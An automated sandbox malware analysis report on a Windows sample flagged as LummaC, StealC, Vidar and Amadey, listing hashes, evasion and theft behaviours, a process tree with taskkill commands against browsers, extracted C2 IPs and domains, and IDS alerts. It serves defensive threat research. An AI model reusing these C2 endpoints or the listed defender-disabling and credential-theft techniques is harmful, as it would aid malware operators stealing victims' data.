Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542670
MD5:	8d1e04c056caf2cc26a48a16be0198b8
SHA1:	f87723b046ab9db7acaa622516e3ba843650dce8
SHA256:	6b2b0c1fcb05eb6811e26b07df264a6a2becb83a95da2a875860c83e55776ff9
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8D1E04C056CAF2CC26A48A16BE0198B8)

6IF65DE3AL7UEH5E4W09DIZ.exe (PID: 8004 cmdline: "C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe" MD5: 85B5560CBE6CB2FC83058376490E1CFE)

skotes.exe (PID: 8172 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 85B5560CBE6CB2FC83058376490E1CFE)

K7IHXYTNUQJPI2M9UU0ECLE1K.exe (PID: 5460 cmdline: "C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe" MD5: 3833A1B7C23D66EECEC6B16DDF5CF540)

DHMGC7TXSIK31JTC83MV8ND88A.exe (PID: 5672 cmdline: "C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe" MD5: 9133E5DB092F1C3026308DFEA85F0EBA)

skotes.exe (PID: 5440 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 85B5560CBE6CB2FC83058376490E1CFE)

e192e43b61.exe (PID: 1420 cmdline: "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe" MD5: 8D1E04C056CAF2CC26A48A16BE0198B8)

C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe (PID: 7632 cmdline: "C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe" MD5: 85B5560CBE6CB2FC83058376490E1CFE)

b0b9f39429.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe" MD5: 3833A1B7C23D66EECEC6B16DDF5CF540)

5e28f62265.exe (PID: 7244 cmdline: "C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe" MD5: EE970780C371D5BD42992B92132F5014)

taskkill.exe (PID: 7288 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4928 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5040 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5544 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4048 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6160 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7764 cmdline: "C:\Users\user\AppData\Local\Temp\1001608001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

e192e43b61.exe (PID: 1340 cmdline: "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe" MD5: 8D1E04C056CAF2CC26A48A16BE0198B8)

e192e43b61.exe (PID: 5744 cmdline: "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe" MD5: 8D1E04C056CAF2CC26A48A16BE0198B8)

b0b9f39429.exe (PID: 3916 cmdline: "C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe" MD5: 3833A1B7C23D66EECEC6B16DDF5CF540)

firefox.exe (PID: 6576 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6604 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2216 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {42e60347-4193-4a06-98d1-e931f84d08bb} 6604 "\\.\pipe\gecko-crash-server-pipe.6604" 1e752c6cf10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

5e28f62265.exe (PID: 3620 cmdline: "C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe" MD5: EE970780C371D5BD42992B92132F5014)

taskkill.exe (PID: 1284 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Threatname: LummaC

{"C2 url": ["crisiwarny.store", "scriptyprefej.store", "navygenerayk.store", "necklacedmny.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1001608001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001608001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.2624288449.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3015827110.000000000076E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.2750222076.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2901676931.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1786821317.0000000001774000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2308287602.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2883370297.000000000111B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2623865515.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2100193708.0000000004C70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000003.2906938578.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2663469865.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2140947944.0000000000491000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1786888167.0000000001775000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.2950501488.0000000000E31000.00000040.00000001.01000000.0000001A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2580293430.0000000000821000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2658010814.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2582005430.000000000127E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3019501243.0000000000861000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2623816326.0000000001193000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2852632926.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1786861408.0000000001774000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2031756029.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2605977580.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2608212064.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2709864138.0000000005560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2639670507.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2663336618.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000000.2857203948.0000000000861000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2623503748.000000000118F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2119358992.0000000000F41000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2142029213.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7488	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7488	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e192e43b61.exe PID: 1420	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e192e43b61.exe PID: 1420	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e192e43b61.exe PID: 1420	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e192e43b61.exe PID: 1340	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e192e43b61.exe PID: 1340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e192e43b61.exe PID: 1340	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b0b9f39429.exe PID: 8148	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b0b9f39429.exe PID: 8148	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e192e43b61.exe PID: 5744	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e192e43b61.exe PID: 5744	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e192e43b61.exe PID: 5744	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b0b9f39429.exe PID: 3916	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b0b9f39429.exe PID: 3916	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 50 entries

Unpacked PEs

Source	Rule	Description	Author
33.2.C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.e30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.0.num.exe.860000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.2.num.exe.860000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.skotes.exe.490000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.b0b9f39429.exe.ba0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.6IF65DE3AL7UEH5E4W09DIZ.exe.f40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.b0b9f39429.exe.ba0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.K7IHXYTNUQJPI2M9UU0ECLE1K.exe.820000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.3.e192e43b61.exe.1197b30.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5440, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e192e43b61.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5440, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e192e43b61.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:03.767658+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.95.91	443	TCP
2024-10-26T05:54:05.070860+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.95.91	443	TCP
2024-10-26T05:54:21.284197+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49740	104.21.95.91	443	TCP
2024-10-26T05:55:30.744686+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49916	104.21.95.91	443	TCP
2024-10-26T05:55:32.425267+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49927	104.21.95.91	443	TCP
2024-10-26T05:55:42.677709+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49985	104.21.95.91	443	TCP
2024-10-26T05:55:45.543787+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49994	104.21.95.91	443	TCP
2024-10-26T05:55:47.620249+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50020	104.21.95.91	443	TCP
2024-10-26T05:55:51.122388+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50033	104.21.95.91	443	TCP
2024-10-26T05:55:52.488643+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50035	104.21.95.91	443	TCP
2024-10-26T05:56:01.978191+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50052	104.21.95.91	443	TCP
2024-10-26T05:56:08.723135+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50062	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:03.767658+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.95.91	443	TCP
2024-10-26T05:55:30.744686+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49916	104.21.95.91	443	TCP
2024-10-26T05:55:42.677709+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49985	104.21.95.91	443	TCP
2024-10-26T05:55:51.122388+0200	2049836	1	A Network Trojan was detected	192.168.2.4	50033	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:05.070860+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.95.91	443	TCP
2024-10-26T05:55:32.425267+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49927	104.21.95.91	443	TCP
2024-10-26T05:55:45.543787+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49994	104.21.95.91	443	TCP
2024-10-26T05:55:52.488643+0200	2049812	1	A Network Trojan was detected	192.168.2.4	50035	104.21.95.91	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:45.395132+0200	2019714	2	Potentially Bad Traffic	192.168.2.4	49742	185.215.113.16	80	TCP
2024-10-26T05:55:55.637075+0200	2019714	2	Potentially Bad Traffic	192.168.2.4	50039	185.215.113.16	80	TCP
2024-10-26T05:56:12.641383+0200	2019714	2	Potentially Bad Traffic	192.168.2.4	50027	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:55:30.095910+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49915	185.215.113.43	80	TCP
2024-10-26T05:55:45.154828+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50003	185.215.113.43	80	TCP
2024-10-26T05:55:54.663250+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50038	185.215.113.43	80	TCP
2024-10-26T05:56:00.632547+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50049	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:49.061591+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49745	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:48.976290+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:49.337150+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:54:50.446397+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
